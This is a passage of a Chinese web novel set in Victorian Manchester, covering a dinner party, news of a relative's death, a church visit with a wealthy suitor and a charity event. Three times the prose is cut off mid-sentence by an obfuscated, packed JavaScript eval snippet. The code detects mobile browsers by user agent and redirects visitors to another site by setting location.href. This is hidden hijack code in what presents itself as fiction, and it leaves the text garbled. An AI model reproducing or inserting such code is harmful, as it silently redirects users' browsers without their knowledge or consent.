黛芙妮买走了派翠西亚面前唯一的小花篮,她往后看确定没人注意这里,小声劝小姑娘回家。 派翠西亚握紧一便士,裹着破旧宽大的衣服,灵活地跑向小巷。 “你哪里捡的花篮?”走时,贝拉问她。因为篮子粗糙花又不新鲜,所以她下意识认为不可能是买的。 “主派人给我的。”黛芙妮笑说。 31. 聚会 黛芙妮和贝拉分开后的某天,狄默奇太太突然有了一个举办聚会的想法。 “我们需要一点新的活力。”她说。 随着她一声令下,一百零八号上上下下都活跃起来。 “我们需要定下邀请名单,最好是选在大家都有空的时间——”狄默奇太太挥动羽毛笔愣了一下,“没有那么多的朋友也有好处,不用考虑太多就可以把聚会漂漂亮亮地办起来。” 她说这话时有些低落,好在很快又振奋起来。 卡丽喜欢热闹,更喜欢向人们展示她的厨艺,她对黛芙妮说:“小姐,我虽然没去过法国,但我不认为我的厨艺不会受欢迎,因为你们都是地道的英国胃。” 自从那天回来,黛芙妮在她面前称赞了一句路威尔顿公馆的法国主厨后彻底激起了她的斗志,这会儿精神头昂扬得像大母鸡似的。 黛芙妮不忍也不愿意打扰她的激情,便赞同她的话。 “将来,我可是要随着你去你未来丈夫家的。”卡丽说。 听到这话的黛芙妮闭上嘴摇头有些无奈。 午后,今日休息的往常几乎只在书房的狄默奇先生也出现在了会客室,就为了表示对狄默奇太太这次决定的高度赞同。 “下周五怎么样?库克先生也回来了,我们不能把这位好心的先生排除在外。”狄默奇太太说,“路威尔顿先生、艾肯先生需要你去问问。” 狄默奇先生说:“我就是绑也会把他们绑来的。” “但是那天可能不行。”黛芙妮说,“贝拉告诉我加尔顿太太会在那天举办慈善活动。” “但她没有给我们邀请函。”狄默奇太太说。 “也许明天?如果您收到了,您打算不去吗?”黛芙妮说。 “那不如下周一?”狄默奇太太说,“周二贝拉他们一家不是要去拜访亲戚吗?周三惠特妮得回家一趟,人手不足。” 没人反对后她又开始点着手里只有短短几行字的纸张:“还有亨斯通一家。噢,主啊!我们在曼彻斯特的地位不比偷盗者好到哪里去。” “是啊,至少他们愿意的话每晚都可以光顾别人的家。”狄默奇先生看向黛芙妮开起玩笑来。 狄默奇太太叹气,问她丈夫:“你难道没有其他来往熟悉的朋友吗?” “你不会希望好好地聚会变成个人演讲的。”狄默奇先生意味深长地说。 黛芙妮安慰地拍拍他的手臂。 狄默奇先生摩挲下巴上的胡子:“原来听别人喋喋不休地讲话是这么难熬,我倒是能理解那些学生了。” “爸爸?”黛芙妮看他,忍不住想笑。 狄默奇太太琢磨片刻:“前些天住在隔壁的邻居一家上门拜访过,我们还没有回访不如就邀请他们一起。” 她说的是住在一百零六号的艾弗林奇一家,男主人经营一家中等大小的药店,有一双儿女,都未婚。 黛芙妮和艾弗林奇先生的女儿在某些方面观点不太相同,但和她的母亲艾弗林奇太太倒是能说上好一段时间的话。 不过她向来以笑相待且天性温柔,就算观点不一样也不会去贬低他人。 狄默奇太太敲定了初次的时间,当即就将邀请函写好让人送去。 幸运的是,第二天客人们都给了肯定的回复,这让暂时停滞的卡丽和狄默奇太太又重新动起来。 到了周一晚,客人陆续上门。 先来的是路威尔顿兄妹,这回路威尔顿小姐终于愿意露出笑脸了,一想到她就头疼的黛芙妮松口气。 在他们之后是一百零六号的住户,艾弗林奇一家。 “黛芙妮,你看上去真漂亮。”艾弗林奇太太抱了一下黛芙妮。她六十多岁了保养得不错,头发并未全部花白,身姿也非常挺拔。 海洛伊丝·艾弗林奇小姐比黛芙妮大几岁,方下巴、略微的鹰钩鼻但不显凶,配上她温柔的语调会给人一种很可靠的感觉,只可惜只是表面。 艾弗林奇太太的儿子西伦,是个一本正经的小伙儿,不太爱说话但一旦说起来准让一般人受不了。 不到十分钟,所有人到来了,分散在大会客室的角角落落。 贝拉认识艾弗林奇一家,熟稔地和海洛伊丝、西伦打招呼。 “听说你最近在药店帮忙,我以为你会去伦敦找工作。”贝拉对西伦说。 “本来有这个打算,但是家里人手不够。”西伦说。 “让你配药倒是浪费了。”贝拉可惜道。 “我迟早也是要回来的,并不遗憾。”西伦说。 海洛伊丝转着折扇笑起来:“配药不过是按照比例制作,不过西伦到底是牛津毕业的,一天下来药的克数比从前剩了不少。” “那些工人没有系统学习过,能做到之前那种程度我们也不好再要求得更高。”西伦说。 海洛伊丝哼笑起来,黛芙妮低头掩盖笑意。 西伦没有察觉,还在和贝拉说话。 “黛芙妮,贝拉。”凯莉穿了一身淡绿色的裙子走过来。 黛芙妮将她介绍给艾弗林奇兄妹,同时又将众人带到路威尔顿小姐身边继续说起话来。 “现如今将医生制服改成白色的人越来越多,曼彻斯特起码有一半的人都是支持的。”坐下来后,西伦说。 海洛伊丝蹙眉:“不说微生物理论的可靠性,就说这一举动大幅增加成本倒是真的。” “我认为是真的。”凯莉说,“路易斯·巴斯德在今年发表研究报告‘细菌是传染病的主要诱因’。约瑟夫·李斯特受到启发首次在手术中使用苯酚消毒器械,将死亡率45%降至15%。” 西伦露出黛芙妮见到的第一个笑容:“艾肯小姐,没想到你对医学也有所涉及。” 凯莉脸颊泛红:“医学关乎我们的健康问题,即使是不识字的孩子也会在某一时刻惊奇地做出相关举动。” “比如他会在有选择的时候放弃更污浊的水,他未必学过脏水里存在病菌的知识但他下意识就会认为这很可能让他生病。”西伦说。 海洛伊丝惊奇地看向西伦和凯莉,她侧过身子问黛芙妮用一种非常夸张的语气说:“她是谁?” “凯莉的爸爸是曼彻斯特大学教授,她从小就会接触很多学术内容,对这些感兴趣也是能理解的。”黛芙妮说。 “她又是谁?”海洛伊丝又看向独坐在单人沙发上的路威尔顿小姐。 “她姓路威尔顿。”贝拉抖开蕾丝折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611217|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇小声说。 “她从进来就说过两句话,我差点以为她声带有问题。”海洛伊丝说。 贝拉扑哧一声笑了出来,黛芙妮一瞬间知道她想到了他们与路威尔顿小姐第一次见面的场景。 她站起身坐在离路威尔顿小姐最靠近的长沙发右侧,说:“十分荣幸您能来,您觉得这个蜡烛怎么样?” 黛芙妮拿起两人中间那小圆桌上的百合样式的蜡烛。 “不错,但我更喜欢水仙。”路威尔顿小姐说。 “比起纯洁的百合,清冷高洁的水仙确实更适合您。”黛芙妮说。 路威尔顿小姐突然勾起嘴角,她歪在沙发扶手上说:“我哥哥倒是很特别,他不喜欢花不过前些天却从国外买了一棵树回来。” “什么树?”贝拉转过身问。 “月桂树。”路威尔顿小姐问黛芙妮,“黛芙妮小姐,你喜欢月桂树吗?” “月桂树是荣誉的象征,路威尔顿先生喜欢我觉得很正常,毕竟他那么成功。”黛芙妮脑海飘过短暂浅显的疑惑。 “我替哥哥谢过你的称赞。”路威尔顿小姐说,“不过我不太喜欢月桂树。” “它太挑环境了,只在特定土壤中生长,空气要湿润、阳光不能直射。开得花不繁茂,还没好好欣赏就凋谢了。”路威尔顿小姐说。 “我倒是很喜欢。”贝拉笑说,“不管大到药用小到烹饪,都有它能帮忙的地方。它虽然花期短但四季常青,花香浓郁,能适应一般植物不能适应的寒冷。” 路威尔顿小姐摇摆扇子,她直起背,不再倚靠扶手。 狄默奇太太从餐厅出来,招呼她们入座。 长长的餐桌中央摆放了几支蜡烛和一丛丛特地制作的花丛。 银质餐具泛着漂亮的光泽,蜡烛的光将餐厅照得暖意丛生。 黛芙妮左右分别是西伦和克洛伊,她与贝拉正对面。 康斯坦丁坐在狄默奇先生的左手边,与她不是一列还隔了好几人。 他往后靠,假装在认真听先生们的话。 “三十几年前的改革只让中产阶级有了选举权,工人阶级还是被排除在外。如今正值第二次改革在即,二月份,改革同盟在伦敦成立,工人向政府施压要求普选权。”艾肯先生问他,“康斯坦丁,你怎么认为?” 康斯坦丁这才正眼看他:“让有财产的工人获得选举权比他们在街头暴动更有利于秩序。” “有财产的人?”库克先生说,“路威尔顿先生你认为怎样算有财产的?” 康斯坦丁不耐烦回他,但又不想被人拉着抽不出身于是说:“部分人认为城市租户能支付起十镑一年的,和乡村佃农中能支付得起十五英镑一年地租的人。” 库克先生皱眉。 狄默奇先生赞许地点头:“只有有纳税资格的人才有权力获得选举权。” “不过大多数曼彻斯特的工厂主都是持反对意见,认为工人获得权力后就会推动工厂法改革,不利于他们的利益。”亨斯通先生说。 “但是工人阶级获得选举权就能削弱土地贵族在议会的垄断现象。”艾弗林奇先生说。 康斯坦丁一手摆弄银叉子,侧过头似乎在思考他们的话。 32. 噩耗 饭后,众人再次返回大会客室,可以选择玩牌或是继续闲聊。 黛芙妮端着一杯红茶在听克洛伊说关于近来加拿大移民热的事。 “我们姑妈的女儿都二十六了还没结婚,如果我有一天到这个岁数还未结婚我简直没脸出现在大街上。”她说。 “琳达不漂亮、没有太多的嫁妆。现在大量年轻男人都去了海外,以至于如今国内大龄女青年人数激增,她没有什么竞争力,太可悲了。”贝拉同情道。 “如果她不介意找个底层阶级的人也不是不行。”摩西说。 这话引来了在场女性几乎一致的反对。 “即使嫁不出去也不能自甘堕落。”亨斯通太太说。 “不过好在,我们的女儿都不需要为这个问题发愁。”狄默奇太太缓和道。 亨斯通太太放下茶杯看向海洛伊丝:“海洛伊丝有相看对象吗?” 艾弗林奇太太点头:“我和先生预期在明年将她嫁出去。” “海洛伊丝二十三了,确实应该抓紧时间。”亨斯通太太说。 贝拉拉着黛芙妮小声说:“这就是女性的悲哀,一旦超过二十四岁未婚那么你的人生在其他人眼里看来基本玩完了。但是男性就不一样,你看西伦今年二十五,我还从未听到过艾弗林奇太太为他担忧的,就连我妈妈也不觉得他的人生有遭到怎样的冲击。” “如果将来我的婚姻过得十分糟糕那我宁愿不结婚,至少名声不如血肉来得让我疼痛。”黛芙妮说。虽说男性都以绅士自居且为标准,但私底下打女人的也不少。 “太太。” 惠特妮拿了一封信交给狄默奇太太,说送信人特地强调十分要紧。 狄默奇太太疑惑地接过,打开才看了几眼,脸色猛地大变。 不一会儿的工夫,她呼吸变得急促、额头开始冒汗。 这一变化让一直注意的黛芙妮吓得站起来,不慎带来一连串的反应。 “妈妈,怎么了?”黛芙妮扶住狄默奇太太的肩膀,拿过她手里的信一目十行地看起来。 艾弗林奇太太让惠特妮去拿嗅盐,克洛伊、凯莉都被吓得惊呼。 【亲爱的姨妈: 艾尔莎姨妈,我不知道该如何告诉你这个可怕的消息,在写这封信的时候我已经两天滴水未进,我从未想过这样的事会发生在我身上,直到这一刻我都还在迷糊地想也许睡一觉一切都没有发生,如果在那个早晨我阻止了爸妈,是否一切都不会发生。 接下来,我要告诉你们这个噩耗,请你们一定要有准备再接着看:我的爸妈,在两天前不幸死亡,当时他们正打算从克里克小镇返回,马车遭到了山体滑坡,跌落山崖。 我用了莫大的勇气将这封信写完,只期望你和姨父以及两位表妹在得知时身体还遭受得住。 迈尔斯】 黛芙妮用手心盖住快要溢出的震惊,几乎是一瞬眼前看到的一切都带了一层水渍。 狄默奇先生察觉出了事,扔下纸牌快步过来询问狄默奇太太。 有丰富从医经验的艾弗林奇先生让围在狄默奇太太身边的人散去,然后让狄默奇先生拍打她的手腕和颈部。 物理刺激让眼前发黑的狄默奇太太缓过一口气来。 艾弗林奇先生让大家让出一点空间,那些大裙摆将狄默奇太太围得密不透风。 贝拉拉过黛芙妮,她还算镇静:“你希望我现在做些什么?” 黛芙妮吞咽口水将信纸捏在手心里,靠着她的手在另一侧的椅子上坐下。 康纳姨妈本是狄默奇太太再世的唯二最亲近的亲人,她是狄默奇太太的姐姐,几乎是被对方带着长大的。 在黛芙妮出生的时候,狄默奇一家已经从曼彻斯特搬回了肯特郡,与阿德勒舅舅、康纳姨妈关系非常亲近。 她八岁后狄默奇一家又搬去了利物浦,而阿德勒舅舅去了伦敦,只有康纳姨妈还留在肯特郡。 自黛芙妮有记忆以来,康纳姨妈就像是第二个妈妈般照顾她成长,也是在康纳姨妈那儿她得到了第一份明显的偏爱。 她不想情绪崩溃,那么多客人手足无措地在那儿不知该做些什么,需要有主人家主持场面才好。 “深呼吸,然后吐气。”路威尔顿先生走过来弯下腰,那双眼睛牢牢锁定黛芙妮,让她不得不看着他,“今晚的晚餐十分美味但我能提一点建议吗?” 黛芙妮听到晚餐似乎出了纰漏,分了几分注意力出来。 “如果选择狼山鸡会更好,奥品顿鸡做咖喱奶油鸡不够鲜美。”路威尔顿先生说。 一只正宗的中国狼山鸡会花掉狄默奇先生三个星期的薪水,并且这种珍贵的海外鸡种也不是随便能买到的,基本流入了当地上流社会。 黛芙妮一时不知道对方是来帮助她平复下来的,还是让她尴尬和气愤的。 “不过女厨的手艺很好地掩盖了这一缺点,我能问问她是在哪里学过吗?”他说。 “卡丽大概是和她的妈妈学来的。”黛芙妮随便地回答,“至少我知道的,没有系统地学过。” “如果可以,我能请她过几天去公馆帮忙吗?”路威尔顿先生问。 “只要卡丽愿意,当然可以。”黛芙妮点头。 一问一答,还真让她平复了不少,至少现在有力气有理智来处理当下混乱的场面。 她对关心的贝拉和好心的路威尔顿先生说:“突然出了这样的事,原谅我和妈妈招待不周。” “我能方便问问出什么事了?但凡我们能帮上什么,你尽管说出来。”贝拉握着她的手说。 黛芙妮用手帕按在眼角,十分伤心:“真是一个噩耗。我亲爱的姨妈和姨父遭遇意外去世了。” “天呐,请节哀。”贝拉同情地摇晃脑袋。 狄默奇太太醒来后强忍泪水说了那个可怕的消息,客人们十分体谅并且献上同情。 贝拉轻撩黛芙妮耳边的发丝对她安慰一笑,在不舍和担忧下离开了一百零八号。 狄默奇太太站不起来,只有黛芙妮和狄默奇先生出来送人,路威尔顿先生是最后一位离去的客人,他妹妹已经坐上马车了。 他戴上帽子,离开前对狄默奇先生和黛芙妮说:“节哀。” 狄默奇先生手放在他的背部,表情沉痛,叹气。 黛芙妮笑不出来,不过她对路威尔顿先生的举动产生了感激,认为他虽然性格冷淡但却不乏贴心体贴,通过上次的事和这次的小帮忙她现在十分确信对方是一位值得交往的绅士。 最后一辆马车离去,黛芙妮终于坚持不住,她扑进爸爸的怀里哭泣。 狄默奇先生抚摸她的头发,怀抱代替一切安慰。 黛芙妮坐回沙发,将捏在手里的信打开交给狄默奇先生,对方看完眼里流露惋惜和悲痛。 卡丽让惠特妮将餐厅收拾出来,而她则是充作狄默奇太太身体的支柱寸步不离。 狄默奇太太哭晕了两次,她拿过信不敢置信地一遍又一遍阅读,每每读到那句‘我的爸妈,前两天不幸死亡’就会发出抽泣声。 “我的姐姐,她还这么年轻!”她说,“尽管我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623465|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们三年未见,她的样貌还在我脑海里清晰可见。” 黛芙妮对康纳姨妈的感情不如狄默奇太太的强烈这会儿都难受得不行,可想而知狄默奇太太有多绝望。 上次与康纳姨妈、姨父见面还是在利物浦,当时还有表哥迈尔斯。 两户人家从不因为距离变得陌生,惦念让他们从未分离。 即使之后的三年未曾见面,但康纳姨妈时不时就会给她和狄默奇太太写信,还会做一些容易保存的食物寄来,还大多数是黛芙妮喜爱的。 这种偏爱让她在面对安娜的时候又心虚又高兴,每每被安娜的酸言酸语冲击时她也没想过写信给姨妈,让她不要将偏爱显露得如此明显。 一想到再也不会收到康纳姨妈的来信,心像挤毛巾一样被勒得紧紧的,水哗啦啦地从她的眼睛出来。 “可怜的迈尔斯,他如何能抗得过去。”狄默奇太太捂住眼睛。 “好在那位可怜的先生已经长大成人,真是不幸中的万幸。”卡丽惋惜道。 “我可怜的姐姐,姐夫。”狄默奇太太捶打胸口。 这一晚一百零八号如同海中飘摇的小船,被打得摇摇晃晃、七零八落。 第二日,狄默奇太太果不其然地又倒下了,黛芙妮白着脸去看她。 “哭累睡着了。”卡丽说,“黛芙妮小姐,你也需要睡上一觉。” 眼底青黑、嘴唇苍白、神情低迷,让黛芙妮活像一朵快要枯萎的花。 尽管此刻因为睡得不安稳导致头疼得厉害,她还是不想去休息,应该说她躺不住,迫切地想要知道更多的消息。 “天刚亮先生就出去了,我想是去了电报局。”卡丽掖了掖狄默奇太太的被角说。 黛芙妮和她去了一楼。 卡丽劝不动她,只好去泡壶咖啡来。 闹钟里的小鸟弹出来,此刻是早晨七点。以曼彻斯特和肯特郡的距离大约要两个小时他们才能收到迈尔斯表哥的消息。 大概午餐时分狄默奇先生就会带消息回来。 黛芙妮无法平静下来做不了任何需要耐心的活计,就这样呆呆地捧着咖啡让思绪漫游天际。 惠特妮唤回了她:“小姐,路威尔顿先生来了。” “谁?”黛芙妮没听清。 “路威尔顿先生。” 黛芙妮立马放下瓷杯,起身:“爸爸也回来了?” “先生没有回来。” 路威尔顿先生只要来那身边一定有狄默奇先生,今日只有他一人倒是奇怪。 出了大会客室右边就是大门,他一直站在门口没有进来。 “先生,您怎么来了?”黛芙妮问,让他进来喝杯茶。 他摘下帽子挂在钩子上,一头微微凌乱的黑发让黛芙妮多看了两眼。 等他进来,才露出后面的一个抱着编织篮子的佣人。 “不值一提的心意,希望狄默奇太太和你能恢复一点心情。”路威尔顿先生说。 惠特妮接过拿到黛芙妮身边。 一个大菠萝、一盒草莓还有十几个柑橘和柠檬。 “您太破费了!”黛芙妮立马拒绝,这些水果可不是狄默奇先生年薪买得起的,甚至除了草莓其他几样水果黛芙妮只在曼彻斯特的水果精品店展览柜看到过。 “难道我的心意不值得被接受吗?” 他话语里的强硬让黛芙妮愣了一下,就这一会儿的工夫他又说:“你看上去不太舒服,是否需要我推荐一位经验丰富的家庭医生?” 黛芙妮摸上自己的脸,有些难为情。 33. 漫步 今日根本没有打扮心情,只穿了一条半旧的棉裙,头发没有盘起来还带着盘发后的微卷披散着,只取了鬓角两缕发丝在脑后打了个结。 这样的穿着是不适合招待客人的,更何况对方从头到脚无一处不得体。 黛芙妮脸色烧红,干巴巴地邀请对方进来坐坐又赶紧让惠特妮上一壶红茶。 想起对方好心体贴,她低头回答:“我只是没休息好,妈妈也看过医生了。感谢您的好意。” 如实质般的眼神落在她身上,黛芙妮一想到自己此刻不佳的外貌就热得慌。 她不敢抬头,害怕对上路威尔顿先生认为她不体面的眼神,她几乎不将目光往上移。 也好在她没抬头才给了他肆无忌惮的机会,只不过短暂的有些可怜。 康斯坦丁明显感觉到她的尴尬,并不想离开但更加不愿她难受。 他只喝了一杯茶就离开了。 黛芙妮松下紧绷的肩膀。 卡丽从地下室上来,洗了一盘草莓:“路威尔顿先生真大方,小姐你瞧这草莓,个头大不说颜色还漂亮。还有那个带刺的黄色水果,也不知道叫什么该怎么吃,如果直接洗干净了吃不知道会不会扎嘴。” 看到草莓黛芙妮才想起来她忘了退给路威尔顿先生了,如今卡丽洗了出来也只能收下。 她告诉卡丽:“我只知道那叫菠萝,大概需要剥皮吧?” 卡丽将一半的草莓放在桌上的碟子里:“我拿些上去给太太尝尝。” 黛芙妮拉住她往她手里塞了几颗:“你和惠特妮也尝尝。” “给她做什么!”卡丽高兴又小心地握在手上。 草莓细腻多汁,甜甜地带有一丝酸味。黛芙妮吃了两颗很喜欢不过她想留点给爸爸品尝就克制自己不再触碰。 到了中午,狄默奇先生果然带来新消息。 康纳姨妈和姨父将在后天安葬,迈尔斯表哥已经联系墓地等事。 舅舅一家也是昨天收到消息,他们离肯特郡不远打算去帮忙安葬的事。 狄默奇一家离得远赶不上葬礼的时日,虽然很遗憾但是好在迈尔斯表哥应了狄默奇先生的邀请,说等一切事项办好就来曼彻斯特散心。 对于不能参与葬礼的仪式,黛芙妮和后来得知的狄默奇太太都十分失落,可也明白遗体不能长久存放,更何况听迈尔斯表哥说,姨父姨妈的遗体虽然被找到但也被石头压坏了加上如今天热。 下午,狄默奇太太和黛芙妮一起去了教堂祈祷。 之后又去电报局将希望葬礼那天,牧师代为宣读的悼词里有她们指定的经文段落的事告诉迈尔斯表哥。 康纳姨妈、姨父葬礼当天,曼彻斯特如往常的每一日吹着漫天‘白雪’。 黛芙妮推开小会客室的窗户,狄默奇太太念经文的声音与‘雪’一起裹挟着飘向远方。 “我们现在照主的话告诉你们一件事:我们这活着还存留到主降临的人,断不能在那已经睡了的人之先,因为主必亲自从天降临,有呼叫的声音和天使长的声音,又有神的号吹响......” 随着黛芙妮那句“死亡不是终点,而是过渡。”这场为亲人举办的小小祈祷会落下帷幕。 对于姨父姨妈的离世,黛芙妮和狄默奇太太用两个晚上的时间就平静地接受了。 因为就像歌德说的‘死不过是搬进了永恒的居所’,有那么多的名人还有主的指引,这份悲痛消散了大半。 姨父姨妈善良有爱,将来在天堂他们还会再见。 周四,又是被乌云压头的一天,屋里待得烦闷,黛芙妮撑起绣花小伞漫步在街头。 比起热闹的市集,此刻她更向往安静的小花园。 在教堂不远处就有这样一个地方,喷泉上是玛丽·安宁的雕像,手里捧着一块石头代表她发现的双型齿翼龙化石。 她肉身消弭可灵魂不灭,在这里宁静地望着过去的人、探望来世的旅客。 涓涓细流下的水池里只有零星几个法新,想来大额的硬币早已被人捞走。 那些捞走的人大概就是躲在树后窥伺她的孩子们吧。 黛芙妮从袋子里拿出几枚便士扔进水池,朝另一个方向走去。 这个出口连接了一片新的街区,街头红墙上还绘画着本杰明·迪斯雷利的画像。 有几个孩子穿着尼龙外套互相追赶争抢手里的糖果,围着围裙的女人一手叉腰一手捧着篮子在那儿放哨。 迎面走来一对胖胖的妇女,她们手里都拿着一篮子的蔬菜,显然前方有个菜店。 黛芙妮侧过身让她们先走,然后顺着她们来时的路去探索。 菜店、面包店、裁缝店、当铺、劳工酒馆和药店,此外街边还有不少流动小贩,以补鞋、贩卖当日牛奶或低价食物为生。 黛芙妮站在一面贴满纸张的墙头,密密麻麻、层层叠叠,所有的所有都透露着两个字:生活。 有寄宿公寓的信息,八人铺每周三个便士;废品回收种类,废面纱或是废金属材料;还有宣传童工雇佣站的,五到十岁儿童周薪仅一先令。 站在这面墙前的人不少,大部分都在找租房信息和招工信息。 黛芙妮看了一会儿便离开了,再往前她怕越走越远一时半会儿回不来便决定走来时的路。 出了这片街区,在岔路口她选择去教堂坐会儿。 小广场上有一两个人拿着扫把驱赶鸽子好方便清扫垃圾,鸽子从左成片飞到右,又从右飞到前面。 在这里黛芙妮遇到了一个意料之外的人。 他穿着做工精良的西装站在教堂门口,抬头望着尖顶上的十字架。 犹豫再三,她还是走过去了。 “路威尔顿先生。” “黛芙妮小姐。” “先生,您怎么在这里?”黛芙妮好奇。 “随便走走。”路威尔顿先生说。 “看来今天是个幸运日。”黛芙妮说。 “你是来祷告的?”他问。 “不。我只是散步然后来到了这里,和您一样没有任何计划。”黛芙妮将伞收起来,“不过既然来了就打算进去坐会儿。” 她走上台阶,突然记起这位先生不信基督,想着招呼也打了不然就此分开,于是她转头打算说些离别的话。 对上一个人的眼睛是很稀疏平常的事,她不说见过太多世面,不管是悲伤的、喜悦的抑或单纯的、复杂的都有所见识,可路威尔顿先生的眼睛常常让她为此停留。 一双总是压抑着的眼眸。 道听途说也好,自我观察也罢,她都知道他是个成熟的、成功的男人,这样的人她向来都是用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635264|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最得体的一面去对待,得到的反馈也非常好。 但是他不一样,不管她怎么做都很少有波动,最明显的一次就是他送水果那天,第一次从他的身上感受到除平静、淡漠外的强硬。 大部分时间,他不需要做什么就只是站在那里都会让人望而却步。 配合那张似乎僵硬的面孔,他给人带来的永远是严肃、冷硬、矜贵。 他会笑吗?他会为什么笑?他会哭吗?他会为什么哭? 突然黛芙妮有了这样的疑问。 “您想进去坐坐吗?”这一刻黛芙妮好像失去了对身体的控制,她是听见自己这么说的。 他点头,跟着她坐在长椅的一角。 黛芙妮坐在这里就觉得心绪平静,她合起双手、闭上眼睛默默低喃。 康斯坦丁不信基督,他只信自己。 此刻就是自己的回报。 是惊喜也是意外,骨子里不喜意外但此刻他愿意接受这样的安排。 只有她闭眼的时候,不看他的时候(虽然大部分时间确实不会把时间浪费在他身上,她对他并不大方反倒很吝啬),他才能肆无忌惮地注视一位女士。 直到她睁眼,康斯坦丁才闭上眼睛,酝酿情绪掀开眼皮问:“狄默奇太太还好吗?” “承蒙关心。妈妈的身体没有出现大问题,只是有些低落。”黛芙妮不自在地说,她觉得自己右脸特别紧绷,路威尔顿先生审视的目光存在感太高了。 “黛芙妮。”满头花白穿着黄袍子的牧师走过来。 “奥尔斯顿牧师。”黛芙妮站起身。 “别太悲伤,主永远与你同在。”奥尔斯顿牧师慈爱的眼神落在她身上。 “感谢您的宽慰。”黛芙妮微笑。 接着她为路威尔顿先生和奥尔斯顿牧师介绍彼此。 “这位是路威尔顿先生。”黛芙妮说。 “我们见过。”奥尔斯顿牧师说,“上个月,一个夜晚,还下着雨。” 路威尔顿先生伸手与他相握:“是的。” “年轻的头脑和明晰的思想使你不再迷茫踌躇。”奥尔斯顿牧师说。 “谢谢。”路威尔顿先生收回手,双手插兜,冷冷清清地说。 黛芙妮为他们之间产生过交集感到诧异,但她并没有打算去询问。 “下个月的圣餐礼,黛芙妮你和狄默奇太太一定要来,我可以为你们留最好的一块无酵饼。”奥尔斯顿牧师倾身小声说,一双已经浑浊的眼睛灵活地转动。 “太感谢了!”黛芙妮轻笑。 “奥尔斯顿牧师,我打算捐一笔慈善基金用于建造和维修。”路威尔顿先生盯着黛芙妮的笑脸说。 黛芙妮和奥尔斯顿牧师不约而同睁大眼睛。 “你说认真的?先生。”奥尔斯顿牧师追问。教堂一直处在亏损的边缘,维持运转的资金绝大部分都来自信徒的捐赠,“原来你也是一位教徒吗?” 黛芙妮是最震惊的人,因为她知道路威尔顿先生不是一名基督徒。 那么他此举就完全是出于善意。 他严厉大方、冷漠体贴,是个处处矛盾的人,对他的初印象渐渐地在黛芙妮的眼里变得模糊。 “感谢您的馈赠,也许您并不需要但我会一直为您祈祷祝福的。”她真情实意地对他说。 34. 慈善会 路威尔顿先生捐了一大笔钱,惹得奥尔斯顿牧师不停地感谢他。 说这笔钱可以为孤儿、无能力的老弱病残带来更多的福祉。 他也会将路威尔顿先生的名讳告诉他们,不过路威尔顿先生拒绝了,他不希望这件事被过多的人知道。 低调慷慨,黛芙妮这样评价他。 在对方提议送她回一百零八号的时候,很是心甘情愿地上了马车。 等她坐回会客室冷静下来又陷入沉思,既然他并不是一个没有同情心的人为什么会不同意改善工人的生存环境? 说来,他不也出生在那样的地方吗? 贸然地问私密问题很可能惹得对方生气,黛芙妮只能自己猜测,也许他真的受过伤害。 晚餐时,她又将路威尔顿先生的善举告诉了爸妈,果不其然他们也对那位先生的举措十分赞扬。 “太慷慨了,下次见面我必须得亲自感谢他。”狄默奇太太高兴地说。 “康斯坦丁是一位真正的绅士,有多少人在像他一样身怀巨富的同时又热衷于做慈善?”狄默奇先生赞扬他。 “你说得对。”狄默奇太太点头。 本周五,狄默奇太太和黛芙妮将通过加尔顿太太的慈善会在本街区正式亮相。 地点就在加尔顿太太家中,一栋坐落在运河支流边的小房子,位于牛津路的尾巴。 黛芙妮穿了一条鹅黄色绸制礼服, 中分低盘发髻,方便戴帽子。 同色的鹅黄色宽檐帽上别了新鲜的百合,一对长长的仿钻石耳坠落在肩头。 她和狄默奇太太一起由车夫送到加尔顿家中。 马车稳稳停下,两人一前一后下车,正好与亨斯通太太、贝拉相遇。 有了熟悉的友人在侧,狄默奇母女微微吊着的心放下来。 狄默奇太太和亨斯通太太走在前面,贝拉挽着黛芙妮走在后面。 加尔顿宅是一栋独立的三层建筑,此刻铁门大开,平坦的小花园两侧摆了几处小摊位,不仅有卖帽子的还有卖绸扇、手套的。 年轻的小姐或已婚的妇女在摊位间走动,这样热闹的活动使黛芙妮心情也变得明朗。 亨斯通太太将她们带到了站在大厅里的加尔顿太太面前。 “加尔顿太太。”亨斯通太太微笑,“这是狄默奇太太和她的小女儿,黛芙妮小姐。” 黛芙妮松开贝拉的手站到妈妈身边,对加尔顿太太行微蹲礼:“加尔顿太太。” 加尔顿太太不年轻了,棕色泛白的发丝、耷拉的眼角、扁扁的嘴唇,眼神倒是还有几分犀利。 穿着简单但不失身份的证明,气质更是出众。她是黛芙妮见过的最有威严的一位太太。 “狄默奇太太,欢迎你来慈善会,还有黛芙妮小姐。”她扯扯嘴角,用审视的眼神打量她们。 